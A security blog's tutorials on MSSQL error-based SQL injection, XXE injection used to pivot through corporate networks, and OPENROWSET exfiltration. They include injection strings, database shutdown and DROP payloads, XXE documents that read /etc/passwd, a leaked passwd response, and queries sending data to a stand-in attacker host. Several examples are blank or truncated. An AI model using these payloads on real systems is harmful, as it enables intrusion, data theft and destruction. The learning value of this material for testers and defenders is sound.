Yet Another Error Based SQL Injection Tutorial


This article is created for completeness in this Blog as far as the Web Application Security is concerned and it is mainly focused in MS SQL injections.

What is SQL?

SQL was originally developed at IBM in the early 1970s but was not officially formalized until 1986 by the American National Standards Institute (ANSI). SQL was initially designed as a data query and manipulation language with limited functionality when compared to today’s feature-rich SQL dialects.

SQL Microsoft SQL Server

Transact-SQL (T-SQL) is Microsoft's and Sybase's proprietary extension to SQL. SQL, often expanded to Structured Query Language, is a standardized computer language that was originally developed by IBM for querying, altering and defining relational databases, using declarative statements. T-SQL expands on the SQL standard to include procedural programming, local variables, various support functions for string processing, date processing, mathematics, etc. and changes to the DELETE and UPDATE statements. These additional features make Transact-SQL Turing complete.

Transact-SQL is central to using Microsoft SQL Server. All applications that communicate with an instance of SQL Server do so by sending Transact-SQL statements to the server, regardless of the user interface of the application.

What is SQL injection?

SQL injection is a technique to maliciously exploit applications that use client-supplied data in SQL statements. Attackers trick the SQL engine into executing unintended commands by supplying specially crafted string input, thereby gaining unauthorized access to a database in order to view or manipulate restricted data.

Where to look for SQL Injection

You should look for SQL injections practically and realistically speaking in all variables included in a Web Application. SQL injection is an attack in which SQL code is inserted or appended into application user input parameters (the web application might also populate variables automatically that feed back end database) that are later passed to a back-end SQL server for parsing and execution. Any procedure that constructs SQL statements could potentially be vulnerable,as the diverse nature of SQL and the methods available for constructing it provide a wealth of coding options.

The primary form of SQL injection consists of direct insertion of code into parameters that are concatenated with SQL commands and executed. A less direct attack injects malicious code into strings that are destined for storage in a table or as metadata. When the stored strings are subsequently concatenated into a dynamic SQL
command, the malicious code is executed.

Why SQL Injection Happens

When a Web application fails to properly sanitize the parameters which are passed to dynamically created SQL statements it is possible for an attacker to alter the construction of back-end SQL statements. When an attacker is able to modify an SQL statement, the statement will execute with the same rights as the application user.

SQL Injection Happens usually for two reasons:

  1. Dynamically generated SQL queries using concatination strings operators.
  2. Un-sanitized input to this SQL queries. 

Note: When using the SQL server to execute commands that interact with the operating system, the process will run with the same permissions as the component that executed the command.

Types of SQL Injections

According to my experience there are three types of SQL injections:

  1. Error Based SQL injections (no input validation or output database error filtering).
  2. Semi Blind/Error Based SQL injections (minor or no input validation but output database error filtering).
  3. Blind SQL injections (strict both input and output filtering).
How you identify Error Based SQL Injections 

You can identify an SQL injection by injecting the following five characters: ' , " , ) , ; , -- and all the combination of this five characters e.g );-- or '); -- e.t.c. If you inject one of this characters to a vulnerable variable then if the web application is not filtering the database SQL injection generated error more info is going to be revealed about the back end database.

Identify Number of Columns using the NULL data type

After successfully identifying a vulnerable variable the next best thing to do is to understand the structure of the select query. The structure of the SELECT query is revealed through the SQL verbose errors, so in order to find the structure we use the NULL character, because the NULL character can be casted into any data type each column of the abused SELECT query is. So by progressively increasing the amount of NULL characters eventually the query will execute as if there was a valid query (No database error will be returned ).  


Poof -- no error comes back from SQL,  the query was executed.

Note: You might also have to play with the comment characters at the end of the injected query some times. 

Identify number of Columns using ORDER BY Clause (Transact-SQL)

In order to identify the name of the columns we use the ORDER BY Clause (Transact-SQL) in MSSQL. ORDER BY Clause  specifies the sort order used on columns returned in a SELECT statement. The ORDER BY clause is not valid in views, inline functions, derived tables, and subqueries. The ORDER BY clause does not guarantee ordered results when these constructs are queried, unless ORDER BY is also specified in the query itself.

Syntax:[ ORDER BY
[ COLLATE collation_name ]
[ ASC | DESC ]
} [ ,...n ]

Specifies a column on which to sort. A sort column can be specified as a name or column alias, or a nonnegative integer representing the position of the name or alias in the select list. An integer cannot be specified when the order_by_expression appears in a ranking function. A sort column can include an expression, but when the database is in SQL Server (90) compatibility mode, the expression cannot resolve to a constant. Column names and aliases can be qualified by the table or view name.

In SQL Server, qualified column names and aliases are resolved to columns listed in the FROM clause. If order_by_expression is not qualified, the value must be unique among all columns listed in the SELECT statement.Multiple sort columns can be specified. The sequence of the sort columns in the ORDER BY clause defines the organization of the sorted result set.

The ORDER BY clause can include items that do not appear in the select list. However, if SELECT DISTINCT is specified, or if the statement contains a GROUP BY clause, or if the SELECT statement contains a UNION operator, the sort columns must appear in the select list. Additionally, when the SELECT statement includes a UNION operator, the column names or column aliases must be those specified in the first select list.

COLLATE {collation_name}

Specifies that the ORDER BY operation should be performed according to the collation specified in collation_name, and not according to the collation of the column as defined in the table or view. collation_name can be either a Windows collation name or a SQL collation name. For more information, see Collation Settings in Setup and Using SQL Server Collations. COLLATE is applicable only for columns of the char, varchar, nchar, and nvarchar data types.


Specifies that the values in the specified column should be sorted in ascending order, from lowest value to highest value. ASC is the default sort.


Specifies that the values in the specified column should be sorted in descending order, from highest value to lowest value.

Note1: ntext , text, image, or xmlcolumns cannot be used in an ORDER BY clause.

Note2: Null values are treated as the lowest possible values.

Note3: There is no limit to the number of items in the ORDER BY clause. However, there is a limit of 8,060 bytes for the row size of intermediate worktables needed for sort operations. This limits the total size of columns specified in an ORDER BY clause.

Note4: When used together with a SELECT...INTO statement to insert rows from another source, the ORDER BY clause does not guarantee the rows are inserted in the specified order.

Extended malicious SELECT query using ORDER BY:


We do that untill an error occures (just like the NULL queries) and that way you learn the number of columns.

Identify Type of Columns using version variable

Similar technique can be used with the version system variable: 


Note: that Oracle doesn’t support this schema. When targeting an Oracle database, the attack would be identical in every other way. However, you would use the query. When multiple columns are returned from a target table, these can be concatenated into a single column. This makes retrieval more straightforward,
because it requires identifi cation of only a single varchar field in the original query:

Identify Name of Columns using HAVING (Transact-SQL)

HAVING (Transact-SQL) specifies a search condition for a group or an aggregate. HAVING can be used only with the SELECT statement. HAVING is typically used in a GROUP BY clause. When GROUP BY is not used, HAVING behaves like a WHERE clause.

Syntax:[ HAVING ]Arguments search_condition

Specifies the search condition for the group or the aggregate to meet. The text, image, and ntext data types cannot be used in a HAVING clause.

Malicious queries using HAVING to identify columns:

MSSQL:‘GROUP BY table.column_name1 HAVING 1=1 --
MSSQL:‘GROUP BY table.column_name1, table.column_name2 HAVING 1=1 --

Note:Now when successfully enumerating all column names no error should be returned (meaning that the query should be successful). 

Identify Data Type of Columns using different data types

The next step would be to identify the type of the data in each column. Lets say that based on our experience  the query is possible to contain string type characters. So we "scan" each column with char 'a':  

 Poof -- no casting error comes back from SQL.  

Note: In Oracle databases, every SELECT statement must include a FROM attribute, so injecting UNION SELECT NULL produces an error regardless of the number of columns. You can satisfy this requirement by selecting from the globally accessible table DUAL. For example in Oracle you can inject:


 Poof -- no casting error comes back from SQL.
Identify Data Type of Columns using SUM (Transact-SQL)

SUM (Transact-SQL) returns the sum of all the values, or only the DISTINCT values, in the expression. SUM can be used with numeric columns only. Null values are ignored. May be followed by the OVER Clause (Transact-SQL).

MSSQL:‘ UNION SELECT SUM(column_name1) FROM table --
MSSQL:‘ UNION SELECT SUM(column_name2) FROM table --
MSSQL:‘ UNION SELECT SUM(column_name3) FROM table --

Poof -- no casting error comes back from SQL.  

Note: The SUM function attempts to perform a second query and combine the results with those of the original.


  1. http://en.wikipedia.org/wiki/Transact-SQL


Infiltrating corporate networks using XXE injection


External entity injection is generally speaking a type of XML injection that allows an attacker to force a badly configured XML parser to "include" or "load" unwanted functionality that compromise the security of a web application. Now days is rear to find this types of security issues.  This type of attack is well documented and known since 2002.

XML external entity injection vulnerabilities arise because the XML specification allows XML documents to define entities which reference resources external to the document. XML parsers typically support this feature by default, even though it is rarely required by applications during normal usage.

An XXE (Xml eXternal Entity) attack is usually an attack on an application that parses XML input from untrusted sources using the incorrectly configured XML parser. The application may be coerced to open arbitrary files and/or TCP connections e.g. allow embedding data outside the main file into an XML document. A successful XXE Injection attack could allow an attacker to access operating file system, cause a DoS attack or inject a Javascript (e.g. perform an XSS attack).

How the XML parser works (based on W3C Recommendation 26 November 2008)

When an XML processor recognizes a reference to a parsed entity, in order to validate the document, the processor MUST include its replacement text. If the entity is external, and the processor is not attempting to validate the XML document, the processor MAY, but need not, include the entity's replacement text. If a non-validating processor does not include the replacement text, it MUST inform the application that it recognized, but did not read, the entity.

This rule is based on the recognition that the automatic inclusion provided by the SGML and Extended Markup Language (XML) entity mechanism, primarily designed to support modularity in authoring, is not necessarily appropriate for other applications, in particular document browsing. Browsers, for example, when encountering an external parsed entity reference, might choose to provide a visual indication of the entity's presence and retrieve it for display only on demand.

When an entity reference appears in an attribute value, or a parameter entity reference appears in a literal entity value, its replacement text MUST be processed in place of the reference itself as though it were part of the document at the location the reference was recognized, except that a single or double quote character in the replacement text MUST always be treated as a normal data character and MUST NOT terminate the literal.

How the XML parser handles XXE's

An XXE is meant to be converted to a Uniform Resource Identifier (URI)  reference (as defined in IETF RFC 3986), as part of the process of dereferencing it to obtain input for the XML processor to construct the entity's replacement text. It is an error for a fragment identifier (beginning with a # character) to be part of a system identifier. Unless otherwise provided by information outside the scope of this article, or a processing instruction defined by a particular application specification), relative URI's are relative to the location of the resource within which the entity declaration occurs.

This is defined to be the external entity containing the '<' which starts the declaration, at the point when it is parsed as a declaration. A URI might thus be relative to the document entity, to the entity containing the external Document Type Definition (DTD) subset, or to some other external parameter entity. Attempts to retrieve the resource identified by a URI may be redirected at the parser level (for example, in an entity resolver) or below (at the protocol level, for example, via an HTTP Location: header).
Note: A Document Type Definition defines the legal building blocks of an XML document. It defines the document structure with a list of legal elements and attributes. A DTD can be declared in line inside an XML document, or as an external reference.

In the absence of additional information outside the scope of this specification within the resource, the base URI of a resource is always the URI of the actual resource returned. In other words, it is the URI of the resource retrieved after all redirection has occurred.

An actual example of XXE

Based on what is already explained about how the XML parser handles XXE in the following example the XML document will make an XML parser read /etc/passwd and expand it into the content of the PutMeHere tag:

<?xml version="1.0" encoding="ISO-8859-1"?>
 <!DOCTYPE PutMeHere [
   <!ELEMENT PutMeHere ANY>
<!ENTITY xxe SYSTEM "/etc/passwd">
 <PutMeHere>& xxe ;</PutMeHere>

See how the ENTITY definition creates the xxe entity, and how this entity is referenced in the final line. The textual content of the PutMeHere tag will be the content of  /etc/passwd. If the above XML input is fed to a badly configured XML parser then the passwd is going to be loaded.

Note: The XML document is not valid if the &xxe is not started with the '&' character and terminated with ';' character.

Note: The attack is limited to files containing text that the XML parser will allow at the place where the External Entity is referenced. Files containing non-printable characters, and files with randomly located less than signs or ampersands, will not be included. This restriction greatly limits the number of possible target files.

Identifying XXE attack strings

The following table contains attack string that can help someone break the XML schema and cause the XML parser to return possibly verbose errors and help you identify the XML structures. 

14<![CDATA[ / ]]>

Note: CDATA section delimiters: <![CDATA[ / ]]> - CDATA sections are used to escape blocks of text containing characters which would otherwise be recognized as markup. In other words, characters enclosed in a CDATA section are not parsed by an XML parser.

Exploiting XXE vulnerabilities

Let's suppose there is a web application using an XML style communication in order to perform user login. This is done by creating and adding a new <user> node on an xmlDb file. We will try to inject an XML schema that has to do with XML login. For our example we will use the following messages. Some or all the following attempts will generate an XML error, helping as to understand the XML schema of the XMLdb.

Valid XML request:

<?xml version="1.0" encoding="ISO-8859-1"?>

Note: A valid XML request for a user log-in.

1st Example

<?xml version="1.0" encoding="ISO-8859-1"?>

Note:  Simple XML injection using an arrow character.

2nd Example

<?xml version="1.0" encoding="ISO-8859-1"?>

Note:  Simple XML injection with half malformed html comment injected.

3rd Example

<?xml version="1.0" encoding="ISO-8859-1"?>

Note:  Simple XML injection using a reverse arrow character.

4th Example

<?xml version="1.0" encoding="ISO-8859-1"?>

Note:  This sequence of characters is interpreted as the beginning/ end of a comment. So by injecting one of them in User name like that Username = user1<!-- will generate an XML message like that:


5th Example

<?xml version="1.0" encoding="ISO-8859-1"?>
  <username>user1 <![CDATA[ / ]]> </username>

Note:  Simple XXE  injection attempt. When CDATA tag is used, every character enclosed by it is not parsed by the XML parser eventually.

6th Example

<?xml version="1.0" encoding="ISO-8859-1"?>
  <username>user1<![CDATA[<]]>script<![CDATA[>]]>alert('xss')<![CDATA[<]]>/script<![CDATA[>]]> </username>

Note: XSS injected in an XML parser.Another test is related to CDATA tag. When the XML document is parsed, the CDATA value will be eliminated, so it is possible to add a script if the tag contents will be shown in the HTML page.

A more complex scenario for exploiting XXE attacks (a real attack scenario)

XXE attacks can result as already mentioned earlier into OS read file access, similar side effect  someone would say to a path traversal attack. A more complex scenario would be for us to have a sophisticated application that performs e-banking transactions and uses the browser as an end point thin client that absorbs the web service after of course a successful login. So lets assume that the transaction  XML message uses the user name and password back and forth along with XML message (yes I have seen that) in order to perform the transaction.

Client request (XML message used to perform transaction to for the client user name with password userpass1) :

<?xml version="1.0" encoding="ISO-8859-7"?>
  <fixedPayment organizationId="44" productId="61" clientId="33333333" paymentId="3"      referenceDate="2008-05-12" paymentDate="20-11-25">
        <amount currency="EUR">100,1</amount>
     <description>costumer description</description>

Explanation: All information needed for the transaction is encapsulated inside the XML message.

Server response (no XXE injection performed):

<?xml version="1.0" encoding="ISO-8859-7"?>
  <!DOCTYPE webapp SYSTEM "http://webapp.gr/app/app.dtd">
  <webapp> <status code="200" text="OK"/>
    <fixedPayment organizationId="44" productId="61" clientId=" 33333333 " paymentId="3"      paymentDate="2009-11-25" referenceDate="2008-05-12" dateCreated="2012-03-12T15:55:06"  lastModified="2012-03-12T15:55:06" >
             <amount currency="EUR" >100,1</amount>
             <description>costumer description</description>
      <paymentStatus code="14" text="Successful transaction" />

Explanation: An http 200 code is returned along with the success message for the transaction.

Client request (XML message with successful XXE injection):

<?xml version="1.0" encoding="ISO-8859-7"?><!DOCTYPE foo [<!ENTITY xxefca0a SYSTEM "file:///etc/passwd"> ]>
  <fixedPayment organizationId="44" productId="61" clientId="33333333" paymentId="1"      referenceDate="2005-05-12" paymentDate="23-11-22">
        <amount currency="EUR">100,1</amount>
     <description>costumer description</description>

Explanation: See the principal tag and the XXE after the XML version tag. The output return message is embedded along with the principal tag.  So the return message will contain/embed the passwd file along with the success or error message inside the principal tag.

Server response (with successful XXE injection performed):

HTTP/1.1 400 ???????????: ??? ??????? xxxxxxx ?? ????? ?????? username1sroot:x:0:0:MPORTAL root:/root:/bin/bash bin:x:1:1:bin:/bin:/sbin/nologin daemon:x:2:2:daemon:/sbin:/sbin/nologin adm:x:3:4:adm:/var/adm:/sbin/nologin lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin sync:x:5:0:sync:/sbin:/bin/sync
bash xxx:x:503:503::/var/home/xxx:/bin/bash mfamar:x:504:100:xxx BE Agent:/home/mfamar:/bin/bash xxxx:x:505:505::/home/xxxx:/bin/bash xxx:x:506:506::/home/xxxx:/bin/bash jboss:x:xxx:xxx:JBossAS:/usr/share/jbossas:/bin/sh
Date: Mon, 12 Mar 2011 12:00:45 GMT
Server: Apache/xxxx (Red Hat)
Set-Cookie: JSESSIONIDSSO=xxxxxxxxxxxx; Expires=Thu, 01-Jan-1970 00:00:10 GMT
Content-Language: en-US
Connection: close
Content-Type: text/html;charset=ISO-8859-1
Content-Length: 7163
<html><head><title>Apache Tomcat/xxx - Error report</title><STYLE><!--H1{font-family : sans-serif,Arial,Tahoma;color : white;background-color : #0086b2;} H3{font-family : sans-serif,Arial,Tahoma;color : white;background-color : #0086b2;} BODY{font-family : sans-serif,Arial,Tahoma;color : black;background-color : white;} B{color : white;background-color : #0086b2;} HR{color : #0086b2;} --></STYLE> </head><body><h1>HTTP Status 400 - ???????????: ??? ??????? franchisor ?? ????? ?????? username1root:x:0:0:MPORTAL root:/root:/bin/bash
xxx:x:101:101:JBossAS:/usr/share/jbossas:/bin/sh).</u></p><HR size="1" noshade="noshade"><h3>Apache Tomcat/xx.xx</h3></body></html>jboss:x:xxx:xxx:JBossAS:/usr/share/jbossas:/bin/sh).</u></p><HR size="1" noshade="noshade"><h3>Apache Tomcat/x.x</h3></body></html>

Explanation:The response is an XML message that contains the passwd file of the linux box that contains the vulnerable web application. Take notice of the amber.

The attack scenario

The XXE attack described above is actually a very realistic attack scenario that I performed in one of my clients and then reproduced it in my own labs and since this article has more than 1000 page views I thought it would be a good idea to update it with more information on how someone can escalate his/her attack to become more sophisticated so here is a primitive diagram on what happened:

Note: As you can see from the vulnerable web application you can issue http requests and start looking for other web servers.

The next step would be to map the outbound local firewall rules to see what traffic is allowed to go  out. In order to do that you would have to try to access hosts that exist and reply back (e.g. perform a tcp SYN-SYN/ACK with the machine you proxy the XXE requests), so the first thing to do would be to download the host file of the compromised web server and then start forwarding traffic to these machines. As soon as you get a response back you know that the specific machine is actively responding to your http requests. Then you start rotating through all ports and identify the target machine ports replying back to you (e.g. http://replyback.com:1 then try http://replyback.com:2 and continue increasing the port number until you reach the highest port). That way you map all egress filtering done by the XXE proxy local firewall.You have to also learn the IDS/IPS threshold, unless of course you do an authorized penetration test.

You should be aware that the XML parser only returns a small chunk of the data back to you (that means that you would have to identify the OS firewall rules from short versions if the true error messages version). See the diagram below explaining the test: 

Note: The next step after mapping the local firewall rules would be to start fingerprinting the surrounding web servers by using the DirBuster directory list or further escalate and use the https to finger print the web servers based on the SSL errors returned back, and then deliver an msfpayload or perform a path traversal or SQL injection attack through the xml parser (it is not as much simple as it sounds).

Tools to use to perform this attack 

The only tools you would need to use to perform this attack would be the free version of Burp Proxy (the Burp Intruder tool and the Burp Repeater tool), openssl (e.g. issue openssl s_client -connect command), the DirBuster directory list and the fuzzdb list ( for proper ammunition). The following screenshot shows how you can do it:

 Note: See how I added the payload position and that I used the sniper mode.

Destroying surrounding machines

A malicious attacker taking advantage of this attack can actually blindly start launching database shutdown SQL injection attacks through the parser. A way to do that would be to issue a:
  1. ';shutdown --
  2. DROP sampletable;--
Note: Fingerprinting back database is also possible.

Stealing data from surrounding machines 

Another interesting thing someone can do with proxy XXE http requests is to try to identify unprotected web admin panels and file shares through for example UNC paths or syslog deamons. Imagine how interesting would be to connect to a web proxy syslog demon through 553 and try to sniff all the traffic of the network.  

More on what can you do with a successful XXE attack
  1. The attacker can use the application as a proxy, retrieving sensitive content from any web servers that the application can reach, including those running internally within the organization on private and non rout-able address space (e.g perform database web administration panel retrieval).
  2. The attacker can exploit vulnerabilities on back-end web applications,provided that these can be exploited via the URI's (e.g perform web directory brute forcing and fingerprint web servers, perform SQL Injections or path traversal attacks e.t.c).
  3. The attacker can test for open ports on back-end systems by cycling through large numbers of IP addresses and port numbers. In some cases, timing differences can be used to infer the state of a requested port. In other cases, the service banners from some services may actually be returned within the application responses. 
  4. The attacker can use the XXE vulnerable web sever to map firewall rules on other company extarnets.
  5. The attacker might be able to DoS attack internal company web server machines.
  6. The attacker might be able hide his/her traces by mixing port scans with the vulnerable web server fake tarffic generated from the XXE oubound traffic.  
Mitigation of XXE vulnerabilities

XML parser should not follow URIs to External Entities, or make it only follow known good URIs (white listed URIs). With some parsers in order someone to disable XXE must set the setExpandEntityReferences to false, but note that this doesn't do what you expect for some of the XML parsers out there.

XML external entity injection makes use of the DOCTYPE tag to define the injected entity. XML parsers can usually be configured to disable support for this tag. You should consult the documentation for your XML parsing library to determine how to disable this feature. It may also be possible to use input validation to block input containing a DOCTYPE tag.


Very simplistically speaking when an application is vulnerable to XXE then the attacker might be capable to gain access to the web server OS file system, cause DoS attack by requesting /dev/random file, an SQL injection attack or even perform an XSS attack.




MSSQL Injection OPENROWSET Side Channel


Includes all connection information that is required to access remote data from an OLE DB data source. This method is an alternative to accessing tables in a linked server and is a one-time, ad hoc method of connecting and accessing remote data by using OLE DB. For more frequent references to OLE DB data sources, use linked servers instead. The OPENROWSET function can be referenced in the FROM clause of a query as if it were a table name. The OPENROWSET function can also be referenced as the target table of an INSERT, UPDATE, or DELETE statement, subject to the capabilities of the OLE DB provider. Although the query might return multiple result sets, OPENROWSET returns only the first one.

NoteOPENROWSET also supports bulk operations through a built-in BULK provider that enables data from a file to be read and returned as a rowset


OPENROWSET Functionality
( { 'provider_name' , { 'datasource' ; 'user_id' ; 'password'
| 'provider_string' }
, { [ catalog. ] [ schema. ] object
| 'query'
| BULK 'data_file' ,
{ FORMATFILE = 'format_file_path' [ ]
} )

[ , CODEPAGE = { 'ACP' | 'OEM' | 'RAW' | 'code_page' } ]
[ , ERRORFILE = 'file_name' ]
[ , FIRSTROW = first_row ]
[ , LASTROW = last_row ]
[ , MAXERRORS = maximum_errors ]
[ , ROWS_PER_BATCH = rows_per_batch ]
[ , ORDER ( { column [ ASC | DESC ] } [ ,...n ] ) [ UNIQUE ]



Is a character string that represents the friendly name (or PROGID) of the OLE DB provider as specified in the registry. provider_name has no default value.


Is a string constant that corresponds to a particular OLE DB data source. datasource is the DBPROP_INIT_DATASOURCE property to be passed to the IDBProperties interface of the provider to initialize the provider. Typically, this string includes the name of the database file, the name of a database server, or a name that the provider understands to locate the database or databases.


Is a string constant that is the user name passed to the specified OLE DB provider. user_id specifies the security context for the connection and is passed in as the DBPROP_AUTH_USERID property to initialize the provider. user_id cannot be a Microsoft Windows login name.


Is a string constant that is the user password to be passed to the OLE DB provider. password is passed in as the DBPROP_AUTH_PASSWORD property when initializing the provider. password cannot be a Microsoft Windows password.


Is a provider-specific connection string that is passed in as the DBPROP_INIT_PROVIDERSTRING property to initialize the OLE DB provider. provider_string typically encapsulates all the connection information required to initialize the provider. For a list of keywords that are recognized by the SQL Server Native Client OLE DB provider, see Initialization and Authorization Properties.


Is the name of the catalog or database in which the specified object resides.


Is the name of the schema or object owner for the specified object.


Is the object name that uniquely identifies the object to work with.


Is a string constant sent to and executed by the provider. The local instance of SQL Server does not process this query, but processes query results returned by the provider, a pass-through query. Pass-through queries are useful when used on providers that do not make available their tabular data through table names, but only through a command language. Pass-through queries are supported on the remote server, as long as the query provider supports the OLE DB Command object and its mandatory interfaces.

Uses the BULK rowset provider for OPENROWSET to read data from a file. In SQL Server, OPENROWSET can read from a data file without loading the data into a target table. This lets you use OPENROWSET with a simple SELECT statement.

The arguments of the BULK option allow for significant control over where to start and end reading data, how to deal with errors, and how data is interpreted. For example, you can specify that the data file be read as a single-row, single-column rowset of type varbinary, varchar, or nvarchar. The default behavior is described in the argument descriptions that follow.


Is the full path of the data file whose data is to be copied into the target table.

FORMATFILE ='format_file_path'

Specifies the full path of a format file. SQL Server supports two types of format files: XML and non-XML.

A format file is required to define column types in the result set. The only exception is when SINGLE_CLOB, SINGLE_BLOB, or SINGLE_NCLOB is specified; in which case, the format file is not required.

CODEPAGE = { 'ACP'| 'OEM'| 'RAW'| 'code_page' } 

Specifies the code page of the data in the data file. CODEPAGE is relevant only if the data contains char, varchar, or text columns with character values more than 127 or less than 32.

OPENRWASET Exploitation Examples

OPENRAWSET permits an attacker to create a connection from the target database to the attacker’s database and carry query data over the connection. This is accomplished using the OPENROWSET command and can be an attacker’s best tool available. For this scenario to work the target database must
be able to open a Transmission Control Protocol (TCP) connection to the attacker's database
on the default port 1433; if egress filtering is in place at the victim or if the attacker is performing ingress filtering, the connection will fail.

However, you can connect to a different port, simply by specifying the port number after the destination Internet Protocol (IP) address. This can be very useful when the remote database server can connect back
to your machine on only a few specific ports.

OPENROWSET is used on SQL Server to perform a one-time connection to a remote OLE DB data source (e.g., another SQL server). One example legitimate usage is to retrieve data that resides on a remote database as an alternative to link the two databases, which is better suited to cases when the data exchange needs to be performed on a regular basis.

Address=attackersIPaddress;uid=ValidUserName; pwd=password', 'SELECT interestingName FROM name)

Here we connected to the SQL server at the address attackersIPaddress as user ValidUserName, and we ran the query SELECT review_author FROM reviews, whose results are transferred back and visualized
by the outermost query. User ValidUserName is a user of the database at address attackersIPaddress, and not of the database where OPENROWSET is executed. Also note that to successfully perform the
query as user ValidUserName , we must successfully authenticate, providing its correct password.

We can also use OPENROWSET to transmit data to a foreign database using an INSERT statement:

Address=attackersIPaddress;uid=foo; pwd=password', 'SELECT * FROM
attacker_table') SELECT name FROM sysobjects WHERE xtype='U'

By executing this query, we will select the names of user tables on the local database, and append such rows into attacker_table which resides on the attacker’s server at address attackersIPaddress . Of course, for the command to complete correctly, attacker_table’s columns must match the results of the local query, so the table would consist of a single varchar column.

  1. http://msdn.microsoft.com/en-us/library/ms190312.aspx
  2. http://msdn.microsoft.com/en-us/library/ms188279.aspx
  3. SQL Injection Attacks and Defense by Justin Clarke